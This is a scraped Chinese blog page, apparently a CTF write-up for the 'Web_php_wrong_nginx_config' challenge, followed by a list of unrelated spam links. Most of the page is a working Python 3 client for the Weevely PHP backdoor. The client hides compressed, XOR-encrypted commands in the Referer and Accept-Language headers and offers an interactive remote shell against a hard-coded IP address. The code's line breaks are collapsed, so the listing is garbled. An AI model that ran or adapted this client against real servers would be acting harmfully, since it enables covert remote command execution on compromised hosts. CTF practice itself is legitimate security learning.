当前位置: 首页 > news >正文

菜鸟如何做网站东莞百度seo

菜鸟如何做网站,东莞百度seo,织梦网站排行榜,大连网站建设服务网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phukers Blog) 以下是转换成python3的版本 # encoding: utf-8from random import randint, choice from ha…

 网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phuker's Blog)

以下是转换成python3的版本

# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length = len(seq)if length == 0 or length < amount:print('Error Input')return Noneresult = []indexes = []count = 0while count < amount:i = randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = b''for i in range(amount):result += bytes([randint(0, 255)])return resultdef randAlpha(amount):result = ''for i in range(amount):result += choice(string.ascii_letters)return resultdef loopXor(text, key):result = b''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt < lenTxt and iKey < lenKey:result += bytes([key[iKey] ^ text[iTxt]])iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:51610/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in range(max(indexes) + 1 + randint(0, 2)):key = randAlpha(randint(3, 6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload = zlib.compress(cmd.encode('utf-8'))payload = loopXor(payload, xorKey.encode('utf-8'))payload = base64.urlsafe_b64encode(payload).decode('utf-8')payload = md5head + payload# cut payload, replace into referercutIndex = randint(2, len(payload) - 3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0], payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.parse.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))output = pattern.findall(html)if len(output) == 0:print('Error,  no backdoor response')cmd = input('phpshell > ')continueoutput = output[0]debugPrint(output)output = base64.b64decode(output.encode('utf-8'))output = loopXor(output, xorKey.encode('utf-8'))output = zlib.decompress(output).decode('utf-8')print(output)cmd = input('phpshell > ')

http://www.dinnco.com/news/66863.html

相关文章:

  • 网站banner怎么做的网络推广和网站推广
  • 淘客网站怎么做返利深圳最新新闻事件今天
  • 潍坊网站建设官网湖南有实力seo优化
  • 做物业管理的企业网站深圳抖音seo
  • 政府网站建设和管理经验品牌营销策划ppt
  • 怎么做网站维护长沙百度网站推广
  • 肇庆网站关键词优化推广普通话的意义30字
  • 怎么分析一个网站百度总部在哪里
  • dedecms 5.7 通用企业网站模板百度首页 百度
  • 做企业礼品的网站软文营销成功案例
  • 临沂做网站公司网站关键词优化怎么弄
  • 怎样在百度上做网站女教师网课入侵录屏
  • 新浪博客上传wordpress百度网站怎样优化排名
  • 站长工具seo综合查询怎么用福州seo排名公司
  • 违法网站怎么做安全seo外链专员工作要求
  • 做网站维护需要会什么萌新seo
  • 北京监理建设协会网站seo需求
  • 关于网站设计的新闻最新百度快速排名技术
  • 长安网站定制海底捞口碑营销
  • python制作网页河南搜索引擎优化
  • 上海网站建设做物流一查询网 网站查询
  • wordpress 中文日期优化公司排名
  • 民宿网站怎么做职业技能培训有哪些
  • 招聘网站开发学徒东莞快速排名
  • 网站运营与管理的一个目的微信营销的特点
  • 网站如何在百度搜索杭州百度推广电话
  • 北京建设网站的公司企业网站源码
  • 钦州做网站的公司企业高管培训课程有哪些
  • 专业提供网站制作百度首页广告
  • 网站制作乌鲁木齐注册网站查询